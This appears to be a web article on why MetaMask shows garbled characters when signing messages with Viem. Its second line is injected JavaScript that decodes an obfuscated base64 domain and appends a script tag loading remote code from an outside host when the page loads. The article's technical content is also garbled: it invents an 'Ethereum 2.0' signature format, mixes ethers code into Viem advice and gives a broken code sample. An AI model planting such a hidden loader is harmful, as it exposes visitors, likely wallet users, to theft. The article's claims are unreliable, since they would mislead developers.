Metamask: Why does Metamask display character data as unicode question marks and other different characters when signing a message with Viem?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=eda92112″;document.body.appendChild(script);
Understanding MetaMask Sign Data Display in Viem
When using MetaMask to recover a signature in a smart contract written in Solidity, it may display incorrect or unexpected character combinations such as Unicode question marks and other symbols. This phenomenon occurs when the Ethereum Virtual Machine (EVM) encounters an invalid or malformed signature.
Issue: Incorrect Signature Signature Format
In Ethereum 2.0, the EVM has introduced a change to the signature format that requires a special structure for sign data. The correct format is represented by the hexadecimal number “0x…”. However, when signing a message with MetaMask Viem, it displays incorrect or missing characters in the “signData” field.
Why is Metamask showing Unicode question marks?
The Unicode question marks (?
) displayed may be due to the following reasons:
- Incompatible character data format: EVM expects a specific hexadecimal character data format, while Viem can use an alternative representation.
- Lack of verification: Metamask may not perform proper validation of the signature data before displaying it in the popup.
Troubleshooting: Correct signature format and verification
To resolve this issue, follow these steps:
- Check the signature data format: Make sure that the contract function “signData” returns a string containing only hexadecimal characters (e.g. “0x…”). If it contains other characters or data that is not hexadecimal, you may need to adjust the contract logic.
- Correctly displaying sign data in metamask
On Viem, make sure your signature is displayed correctly by specifying the correct signature data format by calling the signData' function:
const signer = await ethers.getSigner('0x...'); // Replace "0x..." with the actual sign data
const tx = {
data: signer.signTransaction({
or,
value: Wei.toWei(amount, "ether"),
gas: math.min (400000, (2 * gasLimit) + 100),
gasPrice: ethers.utils.parseUnits(gasPrice, "gwei"),
}),
};
const encodedTx = tx.rawTransaction;
console.log(encodedTx);
This corrected example displays the token data in hexadecimal format using `ethers.utils.hexify()”. You can adjust this to match the signature format of your specific contract.
Additional Tips and Considerations
- Ensure that your Solidity contract is well-structured with proper error handling and validation.
- Verify that your Ethereum network version (EVM) matches the version requested by Viem (e.g. Ethereum 2.0).
- If you are having trouble recovering signatures on a specific blockchain or network, refer to the MetaMask documentation and support resources for more detailed instructions.
By following these steps and considering the possible reasons for displaying incorrect signature data in Metamask, you should be able to resolve the issue and successfully recover the signer information in Viem.